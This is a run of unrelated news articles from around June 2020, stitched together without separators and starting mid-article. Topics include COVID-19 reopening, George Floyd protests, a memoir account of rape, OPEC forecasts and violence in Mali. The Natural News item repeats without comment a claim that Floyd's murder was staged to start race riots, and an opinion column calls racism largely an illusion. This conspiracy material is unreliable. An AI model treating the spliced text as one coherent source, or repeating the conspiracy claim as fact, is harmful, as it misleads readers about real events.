The possibility that such crowds  as well as police detainment tactics that defy social distancing  could lead to an uptick in COVID-19 cases had some medical experts wondering if Philly should have stayed in the red zone.

Zurlo, of Jefferson, said he is nervous about that possibility, but pleased that many demonstrators have been seen wearing masks.

Wolf on Friday said 12 more Pennsylvania counties  none in the Philadelphia region  will move into the green phase next Friday. People will still need to wear masks in public places, but businesses will have fewer restrictions.

 READ MORE: Whats allowed to be open in Pennsylvania during red, yellow, and green phases?

Asked what comes after the green phase, Health Secretary Rachel Levine said restrictions would keep being reduced as long as case rates continue to trend down.

Guidance for institutions and transit

But limits on visits to long-term-care facilities should remain in place for at least 28 days after a county enters the green phase, state officials announced Friday.

Because many residents of nursing homes and personal care facilities live in close quarters, need hands-on care and have significant risk factors, the virus has raced through many such facilities, causing disproportionate levels of serious illness and death.

We need to continue this mitigation effort to make sure that our most vulnerable individuals remain safe, Levine said in a news release.

Since March, facilities have been told not to allow families or friends to visit residents in person. Fridays announcement, noting the emotional burdens isolation has caused, said it is OK for people to see each other through windows or glass doors.

 HELP US REPORT: Are you a health care worker, medical provider, government worker, patient, frontline worker or other expert? We want to hear from you.

Philadelphia prisons also entered the yellow phase of reopening on Friday, which means gradually decreasing restrictions and allowing individuals, except those in isolation or quarantine, to spend more time out of their cells.

A Philadelphia City Council committee advanced five bills on Friday that would offer relief for renters affected by COVID-19, including payment agreements with landlords and an eviction diversion program. They will now go to the full Council for a final vote. The committee also voted down a bill that would have banned rent increases for six months for tenants affected by economic impact of the pandemic.

SEPTA will require riders to wear face coverings beginning Monday.

In New Jersey, Murphy on Friday detailed plans for the states Motor Vehicle Commission to begin phasing in services June 15.

Road tests will resume June 29. The state has added 11 road-test courses and reassigned more than 100 safety specialists to serve as road-test examiners to triple its testing capacity to about 16,300 a week  which will allow the state to work through its backlog within 60 days.

Staff writers Stacey Burling, Katie Park, and Laura McCrystal contributed to this report.
Seven News Brisbane has breached the Code of Practice, the media watchdog has ruled.

The Australian Communications and Media Authority found two news programs which related to the Queensland Building and Construction Commission last July breached of the privacy of two staff members.

The news story on 30 July contained images of their names, job titles and signatures which was deemed unnecessary and not in the public interest.

The investigation also found Seven was not fair and impartial in its presentation of allegations of QBCCs handling of a customer complaint.

ACMA Chair Nerida OLoughlin said, The Commercial Television Code of Practice has clear definitions of what is acceptable to broadcast. Channel Seven News Brisbane failed to meet its obligations under the Code.

By failing to give the QBCC the opportunity to respond to the allegations aired in the 31 July news story, it failed to present the news fairly and impartially.

Seven will circulate a copy of the ACMAs finding to news editorial staff within Seven Brisbane and include the decision and its reasoning in its staff Code training.

ACMA said given Sevens record of code compliance, it considered those actions were sufficient remedial actions.
In late May , coronavirus deaths in New York state fell below 100 for the first time since March 24. The number of daily deaths related to Covid-19 have been on a slow, steady decline from the height of the state's outbreak in late March and early April when close to 800 people were dying every day, according to state data.

The number of lives lost from the virus was 42, marking the lowest daily death toll in eight weeks, according to Cuomo. The state also reported lowest number of total hospitalizations to date.

The number of coronavirus deaths in New York state hit an all-time low Thursday since the beginning of the outbreak, Gov. Andrew Cuomo said Friday.

The governor attributed the state's significant progress to New Yorkers who "changed their fundamental behaviors."

"Eight weeks ago we had 800. Eight weeks. 800 people dying to 42 people dying in eight weeks. Amazing. 'How did you do that?' I did nothing," Cuomo said.

"The people of the state radically changed how they behaved. Look at that progress. Lowest number of hospitalizations to date. In a matter of weeks. So we know we can change and we know we can change dramatically. People are focused. We have a plan and that's when social reform happens. When people are motivated and people are focused."

New York City is preparing to move into its "phase one" reopening next Monday. The city saw its first day without any confirmed deaths from the coronavirus on Wednesday, according to new data from the NYC Department of Health and Mental Hygiene, the first time since March 11.

While the downward trend in Covid-19 infection rate in New York has shown a positive sign, Cuomo warned that mass protests sparked by the death of George Floyd in police custody in Minneapolis could threaten the state's progress containing the spread of the coronavirus.

The governor announced on Thursday that the state will expand its testing facilities to the thousands of people who participated in recent George Floyd protests. He said the demonstrations have drawn approximately 20,000 people in New York City alone and 30,000 statewide.

Meanwhile, there are seven regions in New York that have entered "phase two" reopening  the Capital Region, Central New York, Finger Lakes, Mohawk Valley, North Country, Southern Tier and Western New York.
The back-to-back deaths of George Floyd and Breonna Taylor have spurred protests across the country.

Taylor, a 26-year-old black woman, was shot multiple times by Louisville Metro Police Department officers after they forced their way inside her home. The officer who arrested Floyd, a 46-year-old black man, was videotaped kneeling on Floyds neck for multiple minutes before Floyd died.

The current moment raises serious questions about the future of policing, how bias affects police work, and the mistrust many communities of color feel toward the police.

Stanford Universitys Dr. Jennifer Eberhardt, author of Biased: Uncovering the Hidden Prejudice That Shapes What We See, Think, and Do, has worked extensively with police officers on racial bias.

With a team of researchers, Eberhardt found there is a dehumanizing factor that plays a role in the psychological association between race and crime, not only in police interactions but in criminal court cases as well.

She and other researchers discovered the association between African Americans and crime is so powerful that just thinking about violent crime can lead people to focus their attention on black faces, she says.

In the study, when police officers are shown an image of a white persons face and a black persons face, the black persons face is much more likely to draw their attention when those officers are prompted to think of shooting, apprehending, capturing or arresting, she says.

Eberhardt works with law enforcement to design implicit bias trainings. Her program was made available to police departments across California after being created in conjunction with the police departments in Oakland and Stockton.

But even with training, incidents of racial bias still happen.



For example, her team of Stanford researchers worked with a task force in the Oakland Police Department to reduce the number of stops they were making of people not committing any serious crime, she says.

We settled on a simple approach to reducing stops, and that was to push officers to ask themselves a question before each and every stop they make, she says. And that question was, Is this stop intelligence-led, yes or no? And what they mean by intelligence-led is, Do I have prior information that ties this particular person to a specific crime? 

Adding that checkbox made a huge difference in Oakland, Eberhardt says. In 2017, Oakland officers made roughly 32,000 stops. But after implementing that question in 2018, officers made about 19,000 stops.

African American stops alone fell by over 43%, she says. And that drop happened even as the crime rate continued to fall.

The findings imply racial bias cant be eliminated  but it can be managed.



We can use evidence-based approaches to improve police-community interactions and to maintain justice, she says. And weve seen these approaches make a difference in Oakland, California. And weve also seen other promising approaches that are being tried across the country.

Read the whole story: WBUR
Two UW English Graduate Students Receive Prestigious Fellowships

Isaih Dale

Two recent University of Wyoming graduate students are the recipients of prestigious fellowships to continue with their educational and professional goals.

Spencer Cooke, from Hugo, Okla., and Isaih Dale, of Brawley, Calif., received fellowships to the University of Oklahoma and the University of Notre Dame, respectively. Both recently received their masters degrees from the UW Department of English.

Cooke was accepted to the English doctoral program at the University of Oklahoma (OU) and received the Alumni and OU Foundation Fellowship, which pays a $28,000 stipend.

Dale, who was accepted to the English doctoral program at Notre Dame, received a Presidential Fellowship, which pays an annual stipend of $30,000, with extra funds for travel and research. Out of 5,000 applicants for the Presidential Fellowship, only 25 were selected.

The English masters program is lucky to have so many talented students, and Isaih and Spencer are two of our many great graduates moving on to new, exciting challenges next year, says Michael Edson, the graduate coordinator for the UW English masters on- and off-campus degree programs. Isaih and Spencer are leaders on campus and role models for their first-year English students.

Edson says the pairs innovative research also turns heads in their respective fields, as their acceptances at these top doctoral programs show.

UW English masters students in recent years have had Ph.D. placements at such prestigious schools as Duke, Indiana and the University of California-Riverside, he adds. But, Isaih and Spencer's prestigious Ph.D. fellowships are something extra special.

Cooke, who had a specialization in rhetoric/composition at UW, plans to continue that research at OU, which will intersect with the fields of rhetoric and composition, and memory studies.

Specifically, I look at how communities in social media accelerate the distortion of cultural memory, he says. The curriculum at Oklahoma is very exciting to me, as teaching students to effectively communicate their ideas is my favorite part of academia. OUs rhetoric and writing studies program has a very good Ph.D. placement rate, and I hope to continue this trend by pursuing a professorship after earning my doctoral degree.

Dale will begin his doctoral studies in English literature this fall at Notre Dame, with a goal of becoming a professor. While at Notre Dame, he will study theories of black masculinity and black solidarity in dialogism with early to mid-20th century African American literature.

I am extremely thankful for the professors in the Department of English at UW for helping me to both receive the fellowship and acceptance into Notre Dame, Dale says. I am excited for the next step of graduate school, and will always be thankful for the University of Wyoming and its many resources for helping me to take this next step.
Source: Xinhua| 2020-06-05 21:49:47|Editor: huaxia

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TOKYO, June 5 (Xinhua) -- The Japanese government on Friday maintained its assessment that the economy in April had "worsened," with its index of business conditions dropping to the lowest level since record keeping began.

According to the Cabinet Office, the coincident index of business conditions for the recording month dropped 7.3 points from March to 81.5 against the 2015 base of 100.

The decline marked the sharpest drop since comparable data became available in January 1985, the government's figures showed.

The figure retreated for a third straight month, the office's data showed, and came on the heels of a 4.9-percent decline logged in March.

Using terminology to describe its lowest evaluation of the assessment of the economy for the ninth consecutive month, the Cabinet Office maintained that the world's third-largest economy is "worsening."

The index in the reporting period was adversely affected by a sharp fall in shipments of durable consumer goods, these includes goods such as cars and motorbikes, a government official explained.

The official said slumping demand for steel products also weighed heavily on the index in the recording period.

"I believe manufacturers lagged in procuring parts to be used for their products as supply chains were disrupted due to the pandemic, and factories were forced to suspend their operations, which caused the negative effects," the official was quoted as saying.

The leading index of business conditions, which forecasts the nation's economic situation in the coming months, also marked a record decline for the second straight month, the Cabinet Office said.

It tumbled 8.9 points to 76.2 in the reporting month, the office said. Enditem
A police officer stands amid smoke and debris as buildings continue to burn in the aftermath of a night of protests and violence following the death of George Floyd, in Minneapolis, Minn., on May 29, 2020. (Charlotte Cuthbertson/The Epoch Times)

Defunding the Police Would Be Catastrophe for Black People Especially

Commentary

It wasnt enough to throw Molotov cocktails into squad cars, or hurl recently bought, pristine bricks at the backs of cops heads or through the windows of their precincts.

Now, we must Defund the Police as well.

That along with a new call-and-response-on-your-knees demonstration of white fealty to blacks (compare Bethesda, Maryland, and West Hollywood, California) are the most recent tropes in our ongoing, Robespierre-like societal suicide.

I wonder how real-life African Americans feel about that latter unbelievably bizarre, cultish display of Caucasian virtue-signaling gone berserk.

The truth is that nearly everything that is declared as righteous or politically correct by our liberal/progressive elites (for 10 minutes, anyway) and trumpeted as such by the media is the reverse; its usually a horrendous idea.

Nothing is more so than Defund the Police.

Well, not completely. Its a perfectly good idea for Hollywood celebrities (many of whom back it in a big way) and high-level corporate execs who almost always have their own well-trained, 24-hour personal security forces armed with the latest high-tech gizmos that would be the envy of El Chapo.

What do they care about those working-class non-entities, also known as the police? Theyre for the hoi polloi, the ignorant masses.

Of course, those same hoi polloi are you and me and, especially, the disadvantaged communities where the vast amount of crime occurs.

What happens when a single mothers 4-year-old in Compton gets wounded in a crossfire between gangs? Who does she call to get help so that it wont happen again? LeBron Jamess chief of security?

There are dozens of possible examples. I could go on, but the point is too obviousdefunding the police hugely harms the very people its supposed to help.

So why is it proposed? The only conclusion I can think of is that its part of a propaganda campaign, of which the goal isnt just putting Donald Trump out of office, but ultimately overthrowing the state.

This would be achieved via the media and eliteswhether they realize it or not, but inspired by their own Trump hatredmaking inadvertent common cause with Antifa, the recently surfaced Boogaloo (whoever they are), and a whole host of socialist, communist, anarchist, and other radical actors working together or separately.

The irony is thatwere they to succeedanother form of police would take over that would make the current version seem like the mildest of social workers out of an afternoon Hallmark special. NKVD, anyone?

Was any of this, will any of this, be to the betterment of the actual lives of African Americans? Dont be ridiculous. They are beside the point. They are a prop.

Indeed, looked at from any angle, thanks to the intersection of COVID-19 and the killing of George Floyd, a massive cloud has fallen over Americaand it isnt from tear gas or smoke bombs.

Emotions rule over intellect as never in our lifetimes. Race is being exploited as never before. In the old days, it really was a problem. Now it is, largely, an illusion exploited for reasons of power and control. Racism must be fanned, even where it doesnt existespecially where it doesnt existin order to take that control.

But this is about murder, and murder is the most dastardly of acts. We dont even need the Ten Commandments to tell us that.

Nevertheless, why, exactly, did this white cop allegedly kill this black man? We dont really know. Was it because of race? Its a good possibility, but there are several other conceivable motivations. Apparently, they worked at the same club. We may never know the truth in the current hysteria.

But even if we assumeas the media and our liberal friends dothat it has to be race, such a killing by a cop is an extremely rare occurrence, and one that has become increasingly rare over the years. You wouldnt know that watching CNN, or almost anyone else for that matter.

We are in the middle of a racist epidemic, they tell us. And it is your fault. I bet you didnt know that. How ignorant you are.

Now, repeat after me 

Roger L. Simon is The Epoch Times senior political analyst. He is also a prize-winning novelist, Oscar-nominated screenwriter and co-founder of PJ Media.

Views expressed in this article are the opinions of the author and do not necessarily reflect the views of The Epoch Times.
NEW YORK, June 5, 2020 /PRNewswire/ -- The global radiology information systems (RIS) market is expected to reach US$ 1,693.50 million by 2027 from US$ 904.60 million in 2019. The market is estimated to grow at a CAGR of 8.3% from 2020 to 2027. The growth of the market is mainly attributed to advancements in diagnostic imaging solutions and rising number of diagnostic procedures, and increasing number of partnerships and collaborations among market players. However, rising concerns regarding data privacy is the factor hampering the market growth to a certain extent.







Read the full report: https://www.reportlinker.com/p05908668/?utm_source=PRN





The companies engaged in the integration of machine learning solutions in radiology need to focus on strategic collaborations and a partnership with healthcare providers as it is the most profitable step.IT partnerships have increasingly become popular, as large health systems, payers, and technology vendors, and retail pharmacies have started opting for these solutions.



Players in the market are incorporating various strategies to increase their market share.For instance, in August 2019, Philips acquired the Healthcare Information Systems (HCIS) business of Carestream Health Inc.



Carestream provides medical imaging and healthcare IT solutions for imaging centers and other specialty medical clinics.The company expanded Philips' medical imaging customer base, and healthcare IT portfolio.



Moreover, in June 2019, AllScripts collaborated with Gloucestershire Hospitals NHS Foundation Trust (GHFT). This collaboration was aimed at enhancing care coordination, promoting the health data exchange, and streamlining the clinical workflows across the hospitals. In November 2018, GE Healthcare launched the Edison healthcare artificial intelligence platform, which is designed to improve the workflows by connecting millions of medical imaging devices. This platform would enable the clinical partners to develop algorithms and technology partners to process advancements to Edison applications and smart devices.

The global radiology information systems (RIS) market has been segmented on the basis of product, deployment, component, end user, and geography.The market, by product, is segmented into integrated RIS and standalone RIS.



In 2019, the integrated systems segment accounted for a larger share of the market; this is attributed to the increasing adoption of these solutions by hospitals and healthcare institutions as they are cost-efficient and easy to use; moreover, they can be integrated with the existing systems within the organizations, which eliminates the need to buy new hardware systems, thus saving up on resources.The integrated RIS solutions also help improve workflow processes in a business format.



Further, these solutions are easier to maintain than standalone systems, which makes them an ideal fit for most of the healthcare organizations.On the basis of deployment, the market is segmented into web-based RIS, cloud-based RIS, and on-premises RIS.



Based on component, the market is segmented into hardware, software, and services. On the basis of end user, the market is segmented into hospitals, office-based physicians, and emergency healthcare providers.

Several crucial secondary sources studied while preparing this report include European Commission (EC), World Health Organization (WHO), and Organization for Economic Co-operation and Development, National Institute of Cancer Prevention and Research (NICPR), Ministry of Food and Drug Safety (MFDS), European Society of Radiology (ESR).



Read the full report: https://www.reportlinker.com/p05908668/?utm_source=PRN



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ReportLinker is an award-winning market research solution. Reportlinker finds and organizes the latest industry data so you get all the market research you need - instantly, in one place.



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GLEN CARBON  After two years marked with utility and weather and other delays, Old Troy Roads reconstruction is nearly complete.

On Wednesday at 8 a.m., all of Old Troy Road, from just north of Route 162 to Cottonwood Road, will be open to through traffic.

We are looking forward to it, said Village Administrator Jamie Bowden Friday. What was a rutted, old, blacktop two-lane farm road with no sidewalks has been transformed into a modern two-lane (three-lane sections in places) concrete ribbon with shoulders, sidewalks, guardrails and modern signage.

While the project has been substantially completed, the contractor will still be in the area finishing work in the right-of-way and related construction signage will remain until work has been completed.

The $6 million project was originally divided into four stages, starting on the north end at Cottonwood and steadily progressing southeast then south during summer 2018. The first stage ended at Mont Road. Originally aiming for a Dec. 31, 2018 completion date for the second stage, it took until April 2019 for the road to open between Mont Road and Glen Crossing Drive. All of the area asphalt plants closed for the winter; village officials believed one would remain open, allowing them to complete the project in 2018.

In April 2019, residents of two nearby subdivisions met at Cassens Elementary School to demand changes to the villages original plan for stages three and four, which encompassed the work south of Glen Crossing and Old Troys intersection with Bouse Road. The residents claimed the original timeline would cut them off from being able to drive north on Old Troy when the 2019-2020 school year started.

The residents got their wish, as work began last summer on a large segment of Old Troy between Glen Crossing and Bouse and a long section of Bouse from Chamberlain Drive to about 735 feet west of Fairfield Drive, including the Old Troy and Bouse intersection. This stage included a temporary, unpaved by-pass road for Fairfield residents to use for ingress and egress. Then laborers returned to mainline Old Troy, south of Bouse.

Residents objections reached a boiling point last August when the Illinois Department of Transportation (IDOT) began a project to repave Route 162 from west of Interstate 55 to near Route 159, effectively sealing off Bouse Road from the south while the village closed the road north of Bouse. Residents and Mayor Robert Jackstadt decried the lack of coordination between the village and IDOT.

By Oct. 30, 2019, Old Troy was open from Cottonwood to Bouse. The plan was to finish the rest of the work by the original deadline, Jan. 1, 2020, but utility right-of-way/easement delays scuttled that plan, and a new deadline of June 7 was issued early this year.

Utility relocates were quite extensive on this project and Charter (Spectrum) was very uncooperative through most of the project, said Charlie Juneau in February. He is the president of Juneau and Associates, Inc., the engineering firm involved the project.

The village truly appreciates all of the local residents patience and understanding throughout the project, read a post on the villages website. We encourage all motorists to drive safely and observe all signage, including the permanent, four-way stop sign at the intersection of Old Troy and Bouse roads.

Those with questions about the project should contact Brian Kulick, P.E., Juneau Associates at (618) 659-0900, Jennifer Doody, the villages public works director, at (618) 288-2606 or Jamie Bowden, village administrator at (618) 288-2614.

Reach reporter Charles Bolinger at (618) 659-5735
(Natural News) On Tuesday morning, former vice president Joe Biden spoke about the violence that has convulsed the country following the death of George Floyd. His speech, which he delivered in Philadephias city hall, has been praised by mainstream media outlets. The New York Times said that Biden gave his closest approximation yet of a presidential address to the nation, while the left-leaning Washington Post declared that it was the presidential speech people needed.

What mainstream news outfits wont tell you, however, was how Biden also excoriated law enforcement. In his speech, the presumptive Democratic nominee blamed the police, saying that they escalated tension across the nation. He stated this claim the morning after protests for Floyd descended into violence and looting in many cities.

The former vice president called out violent protests but also shifted blame to the police:

Theres no place for violence, no place for looting or destroying property or burning churches or destroying businesses, many of them built by the very people of color who are [for] the first time in their lives are beginning to realize their dreams and build wealth for their families. Nor is it acceptable for our police, sworn to protect and serve all people, to escalate tension, resort to excessive violence. We need to distinguish between legitimate, peaceful protests and opportunistic violent destruction.

In response, the presidents campaign stood by Trumps approach to the crisis.

President Trump has addressed the nation twice, expressed horror and sorrow for the death of George Floyd, stood with the peaceful protesters, and made it clear that he would not abide our cities being overtaken by violent, uncontrollable rioters, the campaign said in a statement. (Related: The Antifa rioters, looters, arsonists, vandals, and murderers have at least one confirmed ally in Congress: AOC.)

The Trump campaign also criticized Bidens speech, accusing him of stand[ing] with the rioters. It also reported that people from the former vice presidents staff paid the bail for people arrested by the police during the clashes.

Listen to Mike Adams, the Health Ranger, as he talks about how the George Floyd murder was set off to instigate race riots across America.

Former White House official dismisses speech as campaign claptrap

A former White House official weighed in on Bidens speech, saying that is was nothing more than campaign claptrap. In an interview with Fox News on Tuesday, former deputy White House chief of staff Karl Rove dismissed the speech, saying that while it was eloquent at times, it was still made to rack votes in November.

That was the problem. About four minutes into the speech, he starts going after President Trump by name, Rove added.

What America wanted to hear was a voice of unity. They didnt want to hear campaign claptrap  and it was.

In the 20-minute speech, Biden called the protests a wake-up call. He promised to combat systemic racism with long-overdue concrete changes. He also spent a good deal of his time blasting the president, saying that Trump is part of the problem and accelerates it. He even took aim at Trump being photographed at St. Johns Episcopal Church in Washington.

Rove emphasized that the former vice president lacing into Trump isnt in keeping with his message of unity. He adds that while Biden has accused the president of wanting to quiet our voice, hes not faring any better. The former White House official said that contrary to his message of unity, Bidens speech drove into politics even deeper.

I thought he had a chance to become, as Politico said, more relevant, Rove added, referring to an article in Politico that questioned Bidens relevance, but he would become more relevant by taking this away from politics, not diving into politics.

Sources include:

NYTimes.com

Newsbreak.com

Breitbart.com

FoxNews.com
Sam O'Donnell was found slumped dead in a Richmond alley after overdosing in August 2016.

He was only 27. He had been addicted to heroin since he was 16, desperately trying to block out the mental anguish that stemmed from being sexually abused when he was five years old.

Gone too soon: Loretta Gabriel says her son's life could have been saved if he had access to a safe injecting facility. Credit:Joe Armao

Before Victoria's first safe injecting room opened in 2018, North Richmond Community Health had only been able to hand out clean needles to addicts desperate for a hit. It could not offer them a safe place to shoot up, or revival if they overdosed.

After getting his clean needles, Mr O'Donnell died in a nearby alleyway.
Social media is blasting Hugh Jackman for his insensitive post following the mass demonstrations that caused outrage across the U.S. and other countries.

For more than a week now, thousands of protesters marched on the streets to voice their grievances against racial oppression and humanitarian issues after the death of African-American man George Floyd at the hands of Minnesota police.

Several celebrities and prominent personalities took a stand and threw their support behind the nationwide campaign, the Black Lives Matter movement.

Hugh Jackman Blasted For Pro-Police Propaganda

Unfortunately, the "X-Men" star had somehow missed the point after he was slammed by netizens for pro-police publicity.

This came after the 51-year-old Aussie actor took to social media to post an anti-racism stance with a photo of a cop hugging a black protestor with a caption "Solidarity."

Raging netizens flocked to Twitter to cancel Jackman and criticize him for his "shallow propaganda."

"This is shallow propaganda designed to obfuscate and maintain oppressive dynamics," one user responded.

Another concerned fan was disappointed with Jackman's viewpoint considering this issue ignited the inequality in the black community. "Really this is your contribution really."

Others even went out and referenced his previous roles like Jean Valjean in "Les Miserables" who was labeled as a criminal but chose to be a good person after he was given a second chance.

"bro was in Les Miserables and he still doesn't get it?" said another critic.

Is Hugh Jackman Avoiding Getting Too Political?

Fans also pointed out his connection with Presidential daughter Ivanka Trump and her husband, Jared Kushner, as the reason why he refrained to voice his political opinion

"Hugh is long time friends with Ivanka and Jared Kushner. He was never on our side," one critic posted.

"Dude recently said he still hangs out with Ivanka and Jared because he's just not that "political" that makes it okay," another commented emphasized.

To recall, Jackman was seen on numerous occasions with Trump's daughter over the last couple of years.

In 2018, the Golden Globe winner and his wife were spotted leaving their New York City apartment alongside the 38-year-old Trump. A week later, Ivanka and her husband also attended the actor's 50th birthday celebration in West Village.

Although he had good intentions behind his post -- due to the ongoing tension with the political climate and a "pandemic of racism" -- it's pretty obvious why most of the fans saw it in another light and were sensitive about the issue.

It all came after the 46-year-old unarmed Floyd was pinned down to the ground by four Minneapolis police officers. A police officer named Derek Chauvin was also caught on cam kneeling on Flyd's neck for more than eight minutes.

According to the 20-page report by the Hennepin County Medical Examiner's Office, Floyd's cause of death was "cardiopulmonary arrest complicating law enforcement subdual, restraint, and neck compression."

Following his death, Chauvin was charged with second-degree murder in addition to the previous his manslaughter charge.

Three other police officers were charged with aiding and abetting the murder where the bail was set at $1 million but might be lowered to $750,000.
Author Susanna Moore has opened up about being raped by Jackie Kennedy and Grace Kelly's designer Oleg Cassini, saying she still blames herself more than 50 years later.

The 74-year-old revealed in her new memoir, Miss Aluminum, that she was sexually assaulted by Cassini in a hotel room when she was a young model in the late 1960s. She explained why she never reported the incident and continued to work with him on this week's episode of The Femsplainers podcast.

'I blame myself. I knew that to go to police, because he was famous and because he was rich and because he would fight it, that I didn't have a chance,' she told the show's co-hosts Danielle Crittenden and Caitlin Flanagan.

Scroll down for video

Assault: Author Susanna Moore revealed in her new memoir, Miss Aluminum , that she was raped by designer Oleg Cassini in a hotel room when she was a young model in the late 1960s

Famous faces: Cassini was worked with Grace Kelly and was engaged to her before she married Prince Rainier III. They're pictured at the premiere for Rear Window in 1954

Cassini was also Jackie Kennedy's go-to couturier when she was first lady. They're pictured at a costume party in the early 1960s

'He would just say I was lying or trying to entrap him. Who knows what he would say? He would say it never happened.'

Moore detailed the rape in her memoir, saying she had flown to New York to model Cassini's new collection with model Marisa Berenson on The Tonight Show Starring Johnny Carson.

She recalled thinking Cassini, who was Jackie's couturier and Grace Kelly's former fiance, was the 'ideal of sophistication.'

After their appearance on the show, the then 55-year-old took them to dinner and then to the private discotheque Le Club, where he put his arm around her and kissed her on the cheek and the side of her head.

Opening up: Moore explained why she never reported the incident and continued to work with Cassini on this week's episode of The Femsplainers podcast

Candid: The writer told the show's co-hosts show's co-hosts Danielle Crittenden and Caitlin Flanagan she knew the police wouldn't believe her because Cassini was 'rich' and 'famous'

Although it 'seemed a bit forward,' he was also embracing Marisa, 'which made it seem all right' to her at the time. Later that night, Moore returned to her hotel room by herself and was in bed when she heard a knock at her door.

'It was Oleg, and he asked if he could come inside for a moment,' she recalled. 'I didn't want to sit in a chair in my nightgown and, after opening the door, I hurried across the room to the bed.

'I don't remember what he said, but within a minute or two, he pulled the blanket from my chest and lay on top of me, his face next to mine, his breath on my cheek.'

Moore said she tried to get out of his grasp but couldn't. Decades later, she still asks herself why she didn't fight harder.

'I tried to move aside, pushing him with my knees and feet, but his hand was around my neck, pressing me against the headboard,' she wrote. 'I could feel his shoulder pads through the soft tweed of his jacket and there was the sour smell of champagne mixed with the scent of his cologne.

Looking back: Moore said Cassini raped her after she traveled to New York to model his designs on The Tonight Show Starring Johnny Carson

Pulling his weight: Cassini later helped get her a role as one of the 'Slaygirl' bodyguards in the 1967 Dean Martin film 'The Ambushers' for which he was the costume designer

No choice: Moore said she took the job with Cassini because she needed to get away from her first husband William Langelier and didn't have much money at the time

'His head was between my breasts, the bristles of his mustache scratching my nipples. He lifted his hips, fumbling in his trousers as he pulled out his penis. I had bitten my tongue, and there was a taste of blood in my mouth.'

Moore described having an out of body experience as he raped her in her hotel room that night.

'As he began to moan, I found myself crouched in a corner of the ceiling, my bare feet balanced on the molding as I watched from above,' she said. 'When he lifted himself from the bed with a contended yawn, I felt myself begin to fall, my arms outspread like wings.

'"Goodnight, cara," he said as he absently tucked his penis, its tip shiny with semen, into his trousers.'

Moore said he reminded her that they had an early flight to Chicago the next morning for a fashion show at Saks and then he was out the door. That night she made the decision to go to the airport to try and find an earlier flight so she wouldn't have to see him again.

Model-turned-writer: Moore published her first novel, My Old Sweetheart, in 1982

Trauma: Moore said she blames herself for the rape and continues to wonder why she let him in or why she didn't fight harder when he got on top of her

'I knew that if I went to the police or to the night manager of the hotel it would mean nothing but humiliation,' she wrote. 'I reminded myself that my husband was not working and that we did not have any money. Besides, it was my fault.'

Moore believed he would be easy to avoid because he'd be busy prepping the models before the show, and she was right.

Her story: Moore's candid memoir was published in April

'As I'd hoped, he didn't give me a thought, not out of shame, but complacency,' she shared in her memoir.

The model-turned-writer told Crittenden and Flanagan that she had 'internalized' the trauma and blame she put on herself after that night.

'I thought what he did was horrible, of course, evil, but I really blame myself,' she said. 'Why did I let him in? Why did I not ask him to leave? Why did I not fight harder? Why, again, did I not report it?'

Cassini later helped get her a role playing one of the 'Slaygirl' bodyguards for Dean Martin's character in the 1967 film The Ambushers for which he was the costume designer.

'This happened maybe a few months after the rape in the hotel,' she said, explaining that she agreed to work with him again because she didn't have a lot of options at the time.

'It had a lot to do with getting away with my first husband. It had to do with having no money, and I had rationalized it somehow so I could do it and find a way not to be compromised,' she said.

'I did manage to do that. I don't think I ever spoke to him, maybe in a cursory way I'd have to say good morning or hello. I was never alone with him again.'
By Trend





Oil demand for 2020 is expected to be around 90.59 mb/d  back to levels last seen before the 2014-2016 market downturn, said Mohammad Sanusi Barkindo, OPEC Secretary General, at the 7th Technical Meeting of OPEC and non-OPEC Countries under the DoC, 4 June 2020, via videoconference, Trend reports.

He noted that based on the latest issue of our monthly in May, the Secretariat projects that the world economy will shrink by 3.4 percent in 2020, following global economic growth of 2.9 percent the previous year.

World oil demand growth in 2020 is expected to drop by a staggering 9.07 mb/d, with the worst impact seen in this quarter. We expect demand for the year to be around 90.59 mb/d  back to levels last seen before the 2014-2016 market downturn, said Barkindo.

OPEC secretary general noted that along with dire economic projections across the board, the cartel sees very worrying signs regarding the effect the current crisis will have on investment in the oil industry. We are already experiencing a repeat of the 2014-2016 scenario, when many petroleum companies applied for bankruptcy. Many others are teetering on the edge of failure.

He went on to add that non-OPEC countries will receive a massive blow, with CAPEX projected to drop by a whopping 23 percent y-o-y in 2020, to about half the $741 billion record set in 2014.

Bringing stability back to the oil market will help protect the highly skilled jobs, innovation and advances in efficiency that are needed now more than ever, for both the worlds economies and the oil industry to recover. DoC countries, in particular, which rely so heavily on the oil industry, may be faced with pulling back on essential diversification efforts. These are the same countries that will be hardest hit by the energy transition, Barkindo added.
Attacks by armed gunmen on motorcycles left 27 dead in attacks on three villages in central Mali last week. Many of the deceased were shot or burned alive, the New York Times reports.

The attacks took place over a 24-hour period last week as mainly Islamic Fulani herders killed the predominately Christian Dogon farmers In Bamako. In the first village, Tille, they killed seven people. Then they killed the other 20 civilians the next day in the villages of Bankass and Koro.

The attacks continue a pattern of violence and reprisals after jihadists linked with al-Qaeda siezed the northern 2/3 of the nation in 2012. French forces pushed back the Islamic militants in 2013, but they have since regained the territory and pushed their influence into Niger and Burkina Faso.

The Mali army fell under heavy criticism for their inability to protect civilians as instances of violence have been on the rise during the last two years. One group that keeps statistics on political violence, the Armed Conflict Location & Event Data Project, reported a 90% increase in civilian fatalities in Mali in the first quarter of 2020. This came after Dogon gunmen allegedly killed over 150 civilians last March.

The Barnabas Fund also reported that over 100 men, women, and children died in an attack on a mainly Christian village in central Mali last June.

According to Al Jazeera, 125 peacekeepers with the United Nations mission in Mali have been killed since 2013.

Mali is ranked as the 29th most dangerous countries for Christians, according to the Open Doors USA World Persecution Watch List.

Related:

Civilians Apprehend Muslim Fulani Suspects in Killing of Five Christians in Nigeria

Nigerian Christians Call on Officials to Work for the Release of an Abducted Bishop

Christians Killed in Kaduna State, Nigeria as Herdsmen Threaten Kidnapped Missionary

2 Senators Ask President Trump to Offer Aid to Persecuted Christian in Nigeria

Photo courtesy: Getty Images/PixPaf

Scott Slayton writes at One Degree to Another.
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The rise in anti-China sentiments is at an all-time high and that can be gauged from the results of the News18 Public Sentimeter on China.

The poll results revealed that 83 percent do not have a very favourable opinion about China.

The poll, which was conducted over four days, in 13 languages, across 16 websites and a hundred social media channels, elicited around 31,000 responses from across the country. It had questions on topics ranging from Chinese investments here to India's stance on the US-China standoff.

